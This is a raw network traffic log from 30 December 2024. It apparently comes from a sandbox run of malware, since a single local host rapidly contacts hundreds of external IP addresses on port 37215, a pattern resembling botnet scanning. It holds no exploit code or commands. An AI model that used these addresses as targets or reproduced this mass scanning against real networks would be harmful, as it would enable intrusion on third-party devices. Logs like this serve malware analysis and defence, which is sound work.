Dec 30, 2024 11:58:14.003072977 CET	37215	14099	41.14.243.203	192.168.2.13
Dec 30, 2024 11:58:14.003081083 CET	37215	14099	41.134.236.240	192.168.2.13
Dec 30, 2024 11:58:14.003081083 CET	45784	37215	192.168.2.13	197.144.53.206
Dec 30, 2024 11:58:14.003087997 CET	37215	49908	197.165.15.60	192.168.2.13
Dec 30, 2024 11:58:14.003096104 CET	37215	54078	197.32.93.1	192.168.2.13
Dec 30, 2024 11:58:14.003101110 CET	14099	37215	192.168.2.13	156.202.34.48
Dec 30, 2024 11:58:14.003102064 CET	14099	37215	192.168.2.13	197.133.23.8
Dec 30, 2024 11:58:14.003102064 CET	43724	37215	192.168.2.13	197.18.39.194
Dec 30, 2024 11:58:14.003118038 CET	14099	37215	192.168.2.13	41.14.243.203
Dec 30, 2024 11:58:14.003118038 CET	49908	37215	192.168.2.13	197.165.15.60
Dec 30, 2024 11:58:14.003118992 CET	14099	37215	192.168.2.13	41.134.236.240
Dec 30, 2024 11:58:14.003134012 CET	54078	37215	192.168.2.13	197.32.93.1
Dec 30, 2024 11:58:14.003499031 CET	37215	14099	41.112.222.7	192.168.2.13
Dec 30, 2024 11:58:14.003508091 CET	37215	14099	197.181.210.215	192.168.2.13
Dec 30, 2024 11:58:14.003515005 CET	37215	14099	197.74.34.114	192.168.2.13
Dec 30, 2024 11:58:14.003546000 CET	37215	14099	41.196.183.126	192.168.2.13
Dec 30, 2024 11:58:14.003551960 CET	14099	37215	192.168.2.13	41.112.222.7
Dec 30, 2024 11:58:14.003556967 CET	37215	60866	156.13.68.77	192.168.2.13
Dec 30, 2024 11:58:14.003557920 CET	14099	37215	192.168.2.13	197.181.210.215
Dec 30, 2024 11:58:14.003559113 CET	14099	37215	192.168.2.13	197.74.34.114
Dec 30, 2024 11:58:14.003566027 CET	37215	14099	156.74.171.147	192.168.2.13
Dec 30, 2024 11:58:14.003581047 CET	37215	14099	41.90.32.240	192.168.2.13
Dec 30, 2024 11:58:14.003591061 CET	37215	14099	41.143.121.147	192.168.2.13
Dec 30, 2024 11:58:14.003593922 CET	14099	37215	192.168.2.13	41.196.183.126
Dec 30, 2024 11:58:14.003599882 CET	37215	14099	156.149.76.222	192.168.2.13
Dec 30, 2024 11:58:14.003601074 CET	60866	37215	192.168.2.13	156.13.68.77
Dec 30, 2024 11:58:14.003607988 CET	37215	14099	156.18.212.206	192.168.2.13
Dec 30, 2024 11:58:14.003613949 CET	14099	37215	192.168.2.13	41.90.32.240
Dec 30, 2024 11:58:14.003614902 CET	14099	37215	192.168.2.13	156.74.171.147
Dec 30, 2024 11:58:14.003624916 CET	37215	14099	41.54.241.43	192.168.2.13
Dec 30, 2024 11:58:14.003631115 CET	14099	37215	192.168.2.13	41.143.121.147
Dec 30, 2024 11:58:14.003633976 CET	37215	14099	41.234.119.105	192.168.2.13
Dec 30, 2024 11:58:14.003635883 CET	14099	37215	192.168.2.13	156.18.212.206
Dec 30, 2024 11:58:14.003637075 CET	14099	37215	192.168.2.13	156.149.76.222
Dec 30, 2024 11:58:14.003643990 CET	37215	14099	197.9.24.62	192.168.2.13
Dec 30, 2024 11:58:14.003652096 CET	37215	14099	41.200.112.148	192.168.2.13
Dec 30, 2024 11:58:14.003659964 CET	37215	14099	41.213.6.155	192.168.2.13
Dec 30, 2024 11:58:14.003662109 CET	14099	37215	192.168.2.13	41.54.241.43
Dec 30, 2024 11:58:14.003670931 CET	14099	37215	192.168.2.13	41.234.119.105
Dec 30, 2024 11:58:14.003674984 CET	14099	37215	192.168.2.13	197.9.24.62
Dec 30, 2024 11:58:14.003675938 CET	37215	14099	41.25.2.207	192.168.2.13
Dec 30, 2024 11:58:14.003684998 CET	14099	37215	192.168.2.13	41.200.112.148
Dec 30, 2024 11:58:14.003686905 CET	37215	14099	156.177.141.89	192.168.2.13
Dec 30, 2024 11:58:14.003694057 CET	14099	37215	192.168.2.13	41.213.6.155
Dec 30, 2024 11:58:14.003696918 CET	37215	14099	197.53.49.121	192.168.2.13
Dec 30, 2024 11:58:14.003705978 CET	37215	14099	197.86.238.208	192.168.2.13
Dec 30, 2024 11:58:14.003714085 CET	14099	37215	192.168.2.13	41.25.2.207
Dec 30, 2024 11:58:14.003719091 CET	37215	14099	156.79.244.172	192.168.2.13
Dec 30, 2024 11:58:14.003726006 CET	14099	37215	192.168.2.13	156.177.141.89
Dec 30, 2024 11:58:14.003729105 CET	37215	14099	41.221.189.12	192.168.2.13
Dec 30, 2024 11:58:14.003734112 CET	37215	14099	156.63.212.134	192.168.2.13
Dec 30, 2024 11:58:14.003734112 CET	14099	37215	192.168.2.13	197.53.49.121
Dec 30, 2024 11:58:14.003737926 CET	37215	14099	156.251.134.233	192.168.2.13
Dec 30, 2024 11:58:14.003741980 CET	37215	14099	41.19.142.244	192.168.2.13
Dec 30, 2024 11:58:14.003742933 CET	14099	37215	192.168.2.13	197.86.238.208
Dec 30, 2024 11:58:14.003748894 CET	37215	49116	197.19.198.97	192.168.2.13
Dec 30, 2024 11:58:14.003763914 CET	14099	37215	192.168.2.13	156.79.244.172
Dec 30, 2024 11:58:14.003770113 CET	37215	14099	197.185.106.187	192.168.2.13
Dec 30, 2024 11:58:14.003776073 CET	14099	37215	192.168.2.13	41.221.189.12
Dec 30, 2024 11:58:14.003777027 CET	14099	37215	192.168.2.13	156.63.212.134
Dec 30, 2024 11:58:14.003777981 CET	14099	37215	192.168.2.13	156.251.134.233
Dec 30, 2024 11:58:14.003777981 CET	14099	37215	192.168.2.13	41.19.142.244
Dec 30, 2024 11:58:14.003778934 CET	49116	37215	192.168.2.13	197.19.198.97
Dec 30, 2024 11:58:14.003781080 CET	37215	14099	156.134.20.212	192.168.2.13
Dec 30, 2024 11:58:14.003792048 CET	37215	14099	197.244.197.40	192.168.2.13
Dec 30, 2024 11:58:14.003801107 CET	37215	14099	41.48.59.9	192.168.2.13
Dec 30, 2024 11:58:14.003808975 CET	37215	14099	41.58.162.136	192.168.2.13
Dec 30, 2024 11:58:14.003813028 CET	14099	37215	192.168.2.13	197.185.106.187
Dec 30, 2024 11:58:14.003814936 CET	14099	37215	192.168.2.13	156.134.20.212
Dec 30, 2024 11:58:14.003817081 CET	37215	14099	156.235.14.64	192.168.2.13
Dec 30, 2024 11:58:14.003827095 CET	37215	14099	41.160.145.203	192.168.2.13
Dec 30, 2024 11:58:14.003829956 CET	14099	37215	192.168.2.13	197.244.197.40
Dec 30, 2024 11:58:14.003837109 CET	37215	14099	197.80.100.18	192.168.2.13
Dec 30, 2024 11:58:14.003838062 CET	14099	37215	192.168.2.13	41.48.59.9
Dec 30, 2024 11:58:14.003844976 CET	37215	14099	156.222.159.48	192.168.2.13
Dec 30, 2024 11:58:14.003849983 CET	14099	37215	192.168.2.13	41.58.162.136
Dec 30, 2024 11:58:14.003853083 CET	14099	37215	192.168.2.13	156.235.14.64
Dec 30, 2024 11:58:14.003854990 CET	37215	14099	197.35.60.183	192.168.2.13
Dec 30, 2024 11:58:14.003865004 CET	37215	14099	156.89.205.29	192.168.2.13
Dec 30, 2024 11:58:14.003865004 CET	14099	37215	192.168.2.13	41.160.145.203
Dec 30, 2024 11:58:14.003870010 CET	14099	37215	192.168.2.13	197.80.100.18
Dec 30, 2024 11:58:14.003873110 CET	37215	14099	156.0.77.16	192.168.2.13
Dec 30, 2024 11:58:14.003882885 CET	37215	14099	197.216.50.210	192.168.2.13
Dec 30, 2024 11:58:14.003885984 CET	14099	37215	192.168.2.13	156.222.159.48
Dec 30, 2024 11:58:14.003885984 CET	14099	37215	192.168.2.13	197.35.60.183
Dec 30, 2024 11:58:14.003892899 CET	37215	14099	156.236.249.21	192.168.2.13
Dec 30, 2024 11:58:14.003905058 CET	14099	37215	192.168.2.13	156.89.205.29
Dec 30, 2024 11:58:14.003909111 CET	14099	37215	192.168.2.13	156.0.77.16
Dec 30, 2024 11:58:14.003911018 CET	37215	14099	156.34.41.223	192.168.2.13
Dec 30, 2024 11:58:14.003914118 CET	14099	37215	192.168.2.13	197.216.50.210
Dec 30, 2024 11:58:14.003921032 CET	37215	14099	197.136.139.30	192.168.2.13
Dec 30, 2024 11:58:14.003927946 CET	14099	37215	192.168.2.13	156.236.249.21
Dec 30, 2024 11:58:14.003930092 CET	37215	14099	41.158.69.235	192.168.2.13
Dec 30, 2024 11:58:14.003940105 CET	37215	14099	41.5.56.42	192.168.2.13
Dec 30, 2024 11:58:14.003947020 CET	37215	35568	197.19.202.31	192.168.2.13
Dec 30, 2024 11:58:14.003954887 CET	37215	14099	197.93.230.143	192.168.2.13
Dec 30, 2024 11:58:14.003956079 CET	14099	37215	192.168.2.13	156.34.41.223
Dec 30, 2024 11:58:14.003956079 CET	14099	37215	192.168.2.13	197.136.139.30
Dec 30, 2024 11:58:14.003958941 CET	37215	14099	197.240.42.136	192.168.2.13
Dec 30, 2024 11:58:14.003964901 CET	14099	37215	192.168.2.13	41.158.69.235
Dec 30, 2024 11:58:14.003968000 CET	37215	14099	197.40.103.55	192.168.2.13
Dec 30, 2024 11:58:14.003977060 CET	37215	14099	197.213.6.201	192.168.2.13
Dec 30, 2024 11:58:14.003981113 CET	14099	37215	192.168.2.13	41.5.56.42
Dec 30, 2024 11:58:14.003985882 CET	37215	14099	197.131.92.40	192.168.2.13
Dec 30, 2024 11:58:14.003985882 CET	35568	37215	192.168.2.13	197.19.202.31
Dec 30, 2024 11:58:14.003995895 CET	14099	37215	192.168.2.13	197.93.230.143
Dec 30, 2024 11:58:14.004002094 CET	37215	14099	197.158.93.77	192.168.2.13
Dec 30, 2024 11:58:14.004004955 CET	14099	37215	192.168.2.13	197.240.42.136
Dec 30, 2024 11:58:14.004009008 CET	14099	37215	192.168.2.13	197.40.103.55
Dec 30, 2024 11:58:14.004010916 CET	37215	14099	197.211.237.26	192.168.2.13
Dec 30, 2024 11:58:14.004013062 CET	14099	37215	192.168.2.13	197.131.92.40
Dec 30, 2024 11:58:14.004015923 CET	14099	37215	192.168.2.13	197.213.6.201
Dec 30, 2024 11:58:14.004020929 CET	37215	14099	41.28.36.75	192.168.2.13
Dec 30, 2024 11:58:14.004029036 CET	14099	37215	192.168.2.13	197.158.93.77
Dec 30, 2024 11:58:14.004030943 CET	37215	14099	197.7.157.123	192.168.2.13
Dec 30, 2024 11:58:14.004050016 CET	14099	37215	192.168.2.13	197.211.237.26
Dec 30, 2024 11:58:14.004057884 CET	37215	14099	197.8.182.204	192.168.2.13
Dec 30, 2024 11:58:14.004059076 CET	14099	37215	192.168.2.13	41.28.36.75
Dec 30, 2024 11:58:14.004067898 CET	14099	37215	192.168.2.13	197.7.157.123
Dec 30, 2024 11:58:14.004067898 CET	37215	14099	156.31.225.230	192.168.2.13
Dec 30, 2024 11:58:14.004085064 CET	37215	33562	197.251.95.164	192.168.2.13
Dec 30, 2024 11:58:14.004092932 CET	37215	51350	156.10.13.115	192.168.2.13
Dec 30, 2024 11:58:14.004097939 CET	14099	37215	192.168.2.13	197.8.182.204
Dec 30, 2024 11:58:14.004101038 CET	37215	14099	41.253.157.56	192.168.2.13
Dec 30, 2024 11:58:14.004105091 CET	14099	37215	192.168.2.13	156.31.225.230
Dec 30, 2024 11:58:14.004110098 CET	37215	14099	156.209.232.60	192.168.2.13
Dec 30, 2024 11:58:14.004118919 CET	37215	14099	41.9.230.10	192.168.2.13
Dec 30, 2024 11:58:14.004126072 CET	33562	37215	192.168.2.13	197.251.95.164
Dec 30, 2024 11:58:14.004126072 CET	51350	37215	192.168.2.13	156.10.13.115
Dec 30, 2024 11:58:14.004127026 CET	37215	34790	156.113.80.31	192.168.2.13
Dec 30, 2024 11:58:14.004136086 CET	37215	36582	156.106.233.154	192.168.2.13
Dec 30, 2024 11:58:14.004136086 CET	14099	37215	192.168.2.13	41.253.157.56
Dec 30, 2024 11:58:14.004136086 CET	14099	37215	192.168.2.13	156.209.232.60
Dec 30, 2024 11:58:14.004149914 CET	37215	45828	41.62.125.56	192.168.2.13
Dec 30, 2024 11:58:14.004157066 CET	14099	37215	192.168.2.13	41.9.230.10
Dec 30, 2024 11:58:14.004158974 CET	37215	39340	197.77.123.95	192.168.2.13
Dec 30, 2024 11:58:14.004165888 CET	34790	37215	192.168.2.13	156.113.80.31
Dec 30, 2024 11:58:14.004167080 CET	37215	35984	41.90.214.101	192.168.2.13
Dec 30, 2024 11:58:14.004174948 CET	36582	37215	192.168.2.13	156.106.233.154
Dec 30, 2024 11:58:14.004177094 CET	37215	45974	197.15.134.48	192.168.2.13
Dec 30, 2024 11:58:14.004179955 CET	37215	38028	41.236.110.200	192.168.2.13
Dec 30, 2024 11:58:14.004187107 CET	37215	40778	156.27.11.136	192.168.2.13
Dec 30, 2024 11:58:14.004194975 CET	37215	40708	197.64.20.209	192.168.2.13
Dec 30, 2024 11:58:14.004203081 CET	37215	34864	197.235.56.4	192.168.2.13
Dec 30, 2024 11:58:14.004209995 CET	37215	51492	197.39.230.71	192.168.2.13
Dec 30, 2024 11:58:14.004216909 CET	37215	56200	197.64.116.30	192.168.2.13
Dec 30, 2024 11:58:14.004225016 CET	37215	45230	41.89.93.238	192.168.2.13
Dec 30, 2024 11:58:14.004237890 CET	37215	42116	197.109.65.167	192.168.2.13
Dec 30, 2024 11:58:14.004246950 CET	37215	34864	197.235.56.4	192.168.2.13
Dec 30, 2024 11:58:14.004255056 CET	37215	38028	41.236.110.200	192.168.2.13
Dec 30, 2024 11:58:14.004285097 CET	34864	37215	192.168.2.13	197.235.56.4
Dec 30, 2024 11:58:14.004296064 CET	38028	37215	192.168.2.13	41.236.110.200
Dec 30, 2024 11:58:14.004395962 CET	37215	40778	156.27.11.136	192.168.2.13
Dec 30, 2024 11:58:14.004439116 CET	40778	37215	192.168.2.13	156.27.11.136
Dec 30, 2024 11:58:14.004534960 CET	37215	35984	41.90.214.101	192.168.2.13
Dec 30, 2024 11:58:14.004580021 CET	35984	37215	192.168.2.13	41.90.214.101
Dec 30, 2024 11:58:14.004729033 CET	37215	42116	197.109.65.167	192.168.2.13
Dec 30, 2024 11:58:14.004772902 CET	42116	37215	192.168.2.13	197.109.65.167
Dec 30, 2024 11:58:14.004837990 CET	37215	39340	197.77.123.95	192.168.2.13
Dec 30, 2024 11:58:14.004883051 CET	39340	37215	192.168.2.13	197.77.123.95
Dec 30, 2024 11:58:14.005012035 CET	37215	51492	197.39.230.71	192.168.2.13
Dec 30, 2024 11:58:14.005054951 CET	51492	37215	192.168.2.13	197.39.230.71
Dec 30, 2024 11:58:14.005165100 CET	37215	56200	197.64.116.30	192.168.2.13
Dec 30, 2024 11:58:14.005202055 CET	56200	37215	192.168.2.13	197.64.116.30
Dec 30, 2024 11:58:14.005650043 CET	37215	40708	197.64.20.209	192.168.2.13
Dec 30, 2024 11:58:14.005659103 CET	37215	45230	41.89.93.238	192.168.2.13
Dec 30, 2024 11:58:14.005666971 CET	37215	45974	197.15.134.48	192.168.2.13
Dec 30, 2024 11:58:14.005686045 CET	37215	45828	41.62.125.56	192.168.2.13
Dec 30, 2024 11:58:14.005695105 CET	40708	37215	192.168.2.13	197.64.20.209
Dec 30, 2024 11:58:14.005695105 CET	45230	37215	192.168.2.13	41.89.93.238
Dec 30, 2024 11:58:14.005705118 CET	45974	37215	192.168.2.13	197.15.134.48
Dec 30, 2024 11:58:14.005728006 CET	45828	37215	192.168.2.13	41.62.125.56
Dec 30, 2024 11:58:14.023444891 CET	54338	37215	192.168.2.13	41.81.140.90
Dec 30, 2024 11:58:14.023452044 CET	43174	37215	192.168.2.13	156.115.229.100
Dec 30, 2024 11:58:14.023463011 CET	55486	37215	192.168.2.13	41.175.235.107
Dec 30, 2024 11:58:14.023467064 CET	55908	37215	192.168.2.13	197.250.211.196
Dec 30, 2024 11:58:14.023478031 CET	58994	37215	192.168.2.13	156.235.162.94
Dec 30, 2024 11:58:14.023482084 CET	42610	37215	192.168.2.13	156.124.74.71
Dec 30, 2024 11:58:14.023482084 CET	49134	37215	192.168.2.13	197.218.0.81
Dec 30, 2024 11:58:14.023493052 CET	39172	37215	192.168.2.13	156.198.249.66
Dec 30, 2024 11:58:14.023503065 CET	39470	37215	192.168.2.13	41.67.222.98
Dec 30, 2024 11:58:14.023511887 CET	49902	37215	192.168.2.13	156.153.64.61
Dec 30, 2024 11:58:14.023511887 CET	49514	37215	192.168.2.13	41.50.219.153
Dec 30, 2024 11:58:14.023524046 CET	49070	37215	192.168.2.13	41.218.106.229
Dec 30, 2024 11:58:14.023533106 CET	43198	37215	192.168.2.13	197.69.193.230
Dec 30, 2024 11:58:14.023535013 CET	43514	37215	192.168.2.13	197.173.173.246
Dec 30, 2024 11:58:14.023541927 CET	33172	37215	192.168.2.13	41.213.41.74
Dec 30, 2024 11:58:14.028223991 CET	37215	54338	41.81.140.90	192.168.2.13
Dec 30, 2024 11:58:14.028310061 CET	54338	37215	192.168.2.13	41.81.140.90
Dec 30, 2024 11:58:14.028331995 CET	37215	43174	156.115.229.100	192.168.2.13
Dec 30, 2024 11:58:14.028378010 CET	43174	37215	192.168.2.13	156.115.229.100
Dec 30, 2024 11:58:14.028990030 CET	51422	37215	192.168.2.13	41.26.165.195
Dec 30, 2024 11:58:14.029731035 CET	39902	37215	192.168.2.13	197.188.207.108
Dec 30, 2024 11:58:14.030462980 CET	33626	37215	192.168.2.13	41.142.156.141
Dec 30, 2024 11:58:14.031218052 CET	48144	37215	192.168.2.13	41.83.14.191
Dec 30, 2024 11:58:14.031960964 CET	37774	37215	192.168.2.13	41.24.62.196
Dec 30, 2024 11:58:14.032721043 CET	41948	37215	192.168.2.13	41.71.20.238
Dec 30, 2024 11:58:14.033452034 CET	60370	37215	192.168.2.13	156.215.234.177
Dec 30, 2024 11:58:14.033778906 CET	37215	51422	41.26.165.195	192.168.2.13
Dec 30, 2024 11:58:14.033828974 CET	51422	37215	192.168.2.13	41.26.165.195
Dec 30, 2024 11:58:14.034179926 CET	33000	37215	192.168.2.13	197.167.74.236
Dec 30, 2024 11:58:14.034893036 CET	32854	37215	192.168.2.13	156.121.201.145
Dec 30, 2024 11:58:14.035625935 CET	37776	37215	192.168.2.13	41.42.18.195
Dec 30, 2024 11:58:14.036365032 CET	51166	37215	192.168.2.13	156.118.23.20
Dec 30, 2024 11:58:14.037091017 CET	36950	37215	192.168.2.13	197.133.23.8
Dec 30, 2024 11:58:14.037825108 CET	58268	37215	192.168.2.13	156.202.34.48
Dec 30, 2024 11:58:14.038539886 CET	58472	37215	192.168.2.13	41.134.236.240
Dec 30, 2024 11:58:14.039258003 CET	48632	37215	192.168.2.13	41.14.243.203
Dec 30, 2024 11:58:14.039994955 CET	49608	37215	192.168.2.13	197.181.210.215
Dec 30, 2024 11:58:14.040441036 CET	37215	37776	41.42.18.195	192.168.2.13
Dec 30, 2024 11:58:14.040488958 CET	37776	37215	192.168.2.13	41.42.18.195
Dec 30, 2024 11:58:14.040736914 CET	47842	37215	192.168.2.13	41.112.222.7
Dec 30, 2024 11:58:14.041451931 CET	35706	37215	192.168.2.13	197.74.34.114
Dec 30, 2024 11:58:14.042134047 CET	35466	37215	192.168.2.13	41.196.183.126
Dec 30, 2024 11:58:14.042833090 CET	51932	37215	192.168.2.13	156.74.171.147
Dec 30, 2024 11:58:14.043519020 CET	60788	37215	192.168.2.13	41.90.32.240
Dec 30, 2024 11:58:14.044239044 CET	57868	37215	192.168.2.13	41.143.121.147
Dec 30, 2024 11:58:14.044981003 CET	43246	37215	192.168.2.13	156.149.76.222
Dec 30, 2024 11:58:14.045708895 CET	36170	37215	192.168.2.13	156.18.212.206
Dec 30, 2024 11:58:14.046425104 CET	49308	37215	192.168.2.13	41.54.241.43
Dec 30, 2024 11:58:14.047142029 CET	46606	37215	192.168.2.13	41.234.119.105
Dec 30, 2024 11:58:14.047869921 CET	44970	37215	192.168.2.13	197.9.24.62
Dec 30, 2024 11:58:14.048343897 CET	54338	37215	192.168.2.13	41.81.140.90
Dec 30, 2024 11:58:14.048355103 CET	54338	37215	192.168.2.13	41.81.140.90
Dec 30, 2024 11:58:14.048677921 CET	54400	37215	192.168.2.13	41.81.140.90
Dec 30, 2024 11:58:14.049099922 CET	51422	37215	192.168.2.13	41.26.165.195
Dec 30, 2024 11:58:14.049099922 CET	51422	37215	192.168.2.13	41.26.165.195
Dec 30, 2024 11:58:14.049410105 CET	51478	37215	192.168.2.13	41.26.165.195
Dec 30, 2024 11:58:14.049824953 CET	37776	37215	192.168.2.13	41.42.18.195
Dec 30, 2024 11:58:14.049846888 CET	37776	37215	192.168.2.13	41.42.18.195
Dec 30, 2024 11:58:14.050141096 CET	37816	37215	192.168.2.13	41.42.18.195
Dec 30, 2024 11:58:14.050555944 CET	43174	37215	192.168.2.13	156.115.229.100
Dec 30, 2024 11:58:14.050575972 CET	43174	37215	192.168.2.13	156.115.229.100
Dec 30, 2024 11:58:14.050862074 CET	43244	37215	192.168.2.13	156.115.229.100
Dec 30, 2024 11:58:14.052666903 CET	37215	44970	197.9.24.62	192.168.2.13
Dec 30, 2024 11:58:14.052726030 CET	44970	37215	192.168.2.13	197.9.24.62
Dec 30, 2024 11:58:14.052812099 CET	44970	37215	192.168.2.13	197.9.24.62
Dec 30, 2024 11:58:14.052823067 CET	44970	37215	192.168.2.13	197.9.24.62
Dec 30, 2024 11:58:14.053093910 CET	37215	54338	41.81.140.90	192.168.2.13
Dec 30, 2024 11:58:14.053139925 CET	44980	37215	192.168.2.13	197.9.24.62
Dec 30, 2024 11:58:14.053868055 CET	37215	51422	41.26.165.195	192.168.2.13
Dec 30, 2024 11:58:14.054653883 CET	37215	37776	41.42.18.195	192.168.2.13
Dec 30, 2024 11:58:14.055389881 CET	37215	43174	156.115.229.100	192.168.2.13
Dec 30, 2024 11:58:14.055438995 CET	45812	37215	192.168.2.13	156.157.129.119
Dec 30, 2024 11:58:14.057590008 CET	37215	44970	197.9.24.62	192.168.2.13
Dec 30, 2024 11:58:14.060169935 CET	37215	45812	156.157.129.119	192.168.2.13
Dec 30, 2024 11:58:14.060226917 CET	45812	37215	192.168.2.13	156.157.129.119
Dec 30, 2024 11:58:14.060256958 CET	45812	37215	192.168.2.13	156.157.129.119
Dec 30, 2024 11:58:14.060581923 CET	51234	37215	192.168.2.13	197.86.238.208
Dec 30, 2024 11:58:14.065229893 CET	37215	45812	156.157.129.119	192.168.2.13
Dec 30, 2024 11:58:14.065283060 CET	45812	37215	192.168.2.13	156.157.129.119
Dec 30, 2024 11:58:14.096100092 CET	37215	43174	156.115.229.100	192.168.2.13
Dec 30, 2024 11:58:14.096112013 CET	37215	37776	41.42.18.195	192.168.2.13
Dec 30, 2024 11:58:14.096117020 CET	37215	51422	41.26.165.195	192.168.2.13
Dec 30, 2024 11:58:14.096122026 CET	37215	54338	41.81.140.90	192.168.2.13
Dec 30, 2024 11:58:14.101120949 CET	37215	44970	197.9.24.62	192.168.2.13
Dec 30, 2024 11:58:14.253177881 CET	37215	33194	197.129.120.114	192.168.2.13
Dec 30, 2024 11:58:14.253395081 CET	33194	37215	192.168.2.13	197.129.120.114
Dec 30, 2024 11:58:14.807457924 CET	37215	36872	197.9.236.17	192.168.2.13
Dec 30, 2024 11:58:14.807800055 CET	36872	37215	192.168.2.13	197.9.236.17
Dec 30, 2024 11:58:15.015515089 CET	59758	37215	192.168.2.13	197.200.55.247
Dec 30, 2024 11:58:15.015515089 CET	35222	37215	192.168.2.13	156.100.80.106
Dec 30, 2024 11:58:15.015535116 CET	52554	37215	192.168.2.13	41.227.24.2
Dec 30, 2024 11:58:15.015535116 CET	50880	37215	192.168.2.13	197.196.96.67
Dec 30, 2024 11:58:15.015539885 CET	40198	37215	192.168.2.13	197.1.22.107
Dec 30, 2024 11:58:15.015539885 CET	44906	37215	192.168.2.13	156.238.46.79
Dec 30, 2024 11:58:15.015538931 CET	44750	37215	192.168.2.13	156.136.43.250
Dec 30, 2024 11:58:15.015539885 CET	54418	37215	192.168.2.13	156.13.84.178
Dec 30, 2024 11:58:15.015544891 CET	60674	37215	192.168.2.13	41.173.187.248
Dec 30, 2024 11:58:15.015541077 CET	45646	37215	192.168.2.13	41.243.254.225
Dec 30, 2024 11:58:15.015541077 CET	50532	37215	192.168.2.13	41.153.137.228
Dec 30, 2024 11:58:15.015544891 CET	60500	37215	192.168.2.13	197.19.3.249
Dec 30, 2024 11:58:15.015580893 CET	35040	37215	192.168.2.13	41.227.170.47
Dec 30, 2024 11:58:15.015580893 CET	50924	37215	192.168.2.13	41.180.49.236
Dec 30, 2024 11:58:15.015580893 CET	55654	37215	192.168.2.13	197.36.158.71
Dec 30, 2024 11:58:15.015584946 CET	49144	37215	192.168.2.13	156.57.243.107
Dec 30, 2024 11:58:15.015584946 CET	53994	37215	192.168.2.13	197.130.217.200
Dec 30, 2024 11:58:15.015584946 CET	33626	37215	192.168.2.13	156.89.229.196
Dec 30, 2024 11:58:15.015585899 CET	44088	37215	192.168.2.13	41.140.124.59
Dec 30, 2024 11:58:15.015584946 CET	52902	37215	192.168.2.13	156.232.111.124
Dec 30, 2024 11:58:15.015585899 CET	47934	37215	192.168.2.13	41.222.118.20
Dec 30, 2024 11:58:15.015584946 CET	59548	37215	192.168.2.13	156.59.224.18
Dec 30, 2024 11:58:15.015585899 CET	52110	37215	192.168.2.13	197.15.179.183
Dec 30, 2024 11:58:15.015585899 CET	59820	37215	192.168.2.13	41.189.121.217
Dec 30, 2024 11:58:15.015585899 CET	56778	37215	192.168.2.13	197.35.235.54
Dec 30, 2024 11:58:15.015595913 CET	53316	37215	192.168.2.13	156.184.135.184
Dec 30, 2024 11:58:15.015595913 CET	55144	37215	192.168.2.13	197.9.255.10
Dec 30, 2024 11:58:15.015595913 CET	51496	37215	192.168.2.13	156.126.95.206
Dec 30, 2024 11:58:15.015600920 CET	59780	37215	192.168.2.13	156.97.78.132
Dec 30, 2024 11:58:15.015600920 CET	44044	37215	192.168.2.13	197.15.54.40
Dec 30, 2024 11:58:15.015600920 CET	58184	37215	192.168.2.13	197.236.84.30
Dec 30, 2024 11:58:15.015600920 CET	45256	37215	192.168.2.13	197.144.183.161
Dec 30, 2024 11:58:15.015600920 CET	42144	37215	192.168.2.13	197.207.188.130
Dec 30, 2024 11:58:15.015600920 CET	34870	37215	192.168.2.13	197.244.249.122
Dec 30, 2024 11:58:15.015600920 CET	41800	37215	192.168.2.13	197.16.249.219
Dec 30, 2024 11:58:15.015600920 CET	40042	37215	192.168.2.13	197.52.4.59
Dec 30, 2024 11:58:15.015609980 CET	47536	37215	192.168.2.13	197.173.158.252
Dec 30, 2024 11:58:15.015609980 CET	38662	37215	192.168.2.13	197.98.225.122
Dec 30, 2024 11:58:15.015610933 CET	59562	37215	192.168.2.13	156.200.197.140
Dec 30, 2024 11:58:15.015610933 CET	46324	37215	192.168.2.13	197.54.249.204
Dec 30, 2024 11:58:15.015610933 CET	55138	37215	192.168.2.13	156.180.119.226
Dec 30, 2024 11:58:15.015610933 CET	59922	37215	192.168.2.13	197.36.42.38
Dec 30, 2024 11:58:15.015610933 CET	45330	37215	192.168.2.13	197.17.1.56
Dec 30, 2024 11:58:15.015625954 CET	38876	37215	192.168.2.13	197.174.76.207
Dec 30, 2024 11:58:15.020553112 CET	37215	52554	41.227.24.2	192.168.2.13
Dec 30, 2024 11:58:15.020566940 CET	37215	59758	197.200.55.247	192.168.2.13
Dec 30, 2024 11:58:15.020576000 CET	37215	35222	156.100.80.106	192.168.2.13
Dec 30, 2024 11:58:15.020586967 CET	37215	60674	41.173.187.248	192.168.2.13
Dec 30, 2024 11:58:15.020637035 CET	59758	37215	192.168.2.13	197.200.55.247
Dec 30, 2024 11:58:15.020639896 CET	52554	37215	192.168.2.13	41.227.24.2
Dec 30, 2024 11:58:15.020652056 CET	35222	37215	192.168.2.13	156.100.80.106
Dec 30, 2024 11:58:15.020665884 CET	60674	37215	192.168.2.13	41.173.187.248
Dec 30, 2024 11:58:15.020793915 CET	14099	37215	192.168.2.13	197.189.192.185
Dec 30, 2024 11:58:15.020798922 CET	14099	37215	192.168.2.13	156.178.83.206
Dec 30, 2024 11:58:15.020807981 CET	14099	37215	192.168.2.13	41.50.222.92
Dec 30, 2024 11:58:15.020816088 CET	14099	37215	192.168.2.13	41.98.5.93
Dec 30, 2024 11:58:15.020831108 CET	14099	37215	192.168.2.13	197.156.132.93
Dec 30, 2024 11:58:15.020832062 CET	14099	37215	192.168.2.13	197.231.7.129
Dec 30, 2024 11:58:15.020837069 CET	14099	37215	192.168.2.13	41.184.131.17
Dec 30, 2024 11:58:15.020845890 CET	14099	37215	192.168.2.13	156.164.193.76
Dec 30, 2024 11:58:15.020848989 CET	14099	37215	192.168.2.13	41.189.38.236
Dec 30, 2024 11:58:15.020848989 CET	14099	37215	192.168.2.13	197.178.226.71
Dec 30, 2024 11:58:15.020859957 CET	14099	37215	192.168.2.13	156.135.35.41
Dec 30, 2024 11:58:15.020865917 CET	14099	37215	192.168.2.13	41.194.109.105
Dec 30, 2024 11:58:15.020865917 CET	14099	37215	192.168.2.13	41.47.89.41
Dec 30, 2024 11:58:15.020870924 CET	14099	37215	192.168.2.13	197.226.143.10
Dec 30, 2024 11:58:15.020886898 CET	14099	37215	192.168.2.13	156.89.190.28
Dec 30, 2024 11:58:15.020889044 CET	14099	37215	192.168.2.13	197.151.132.158
Dec 30, 2024 11:58:15.020889997 CET	14099	37215	192.168.2.13	41.226.224.148
Dec 30, 2024 11:58:15.020900965 CET	14099	37215	192.168.2.13	197.241.71.195
Dec 30, 2024 11:58:15.020900965 CET	37215	60500	197.19.3.249	192.168.2.13
Dec 30, 2024 11:58:15.020901918 CET	14099	37215	192.168.2.13	41.70.188.122
Dec 30, 2024 11:58:15.020916939 CET	37215	44750	156.136.43.250	192.168.2.13
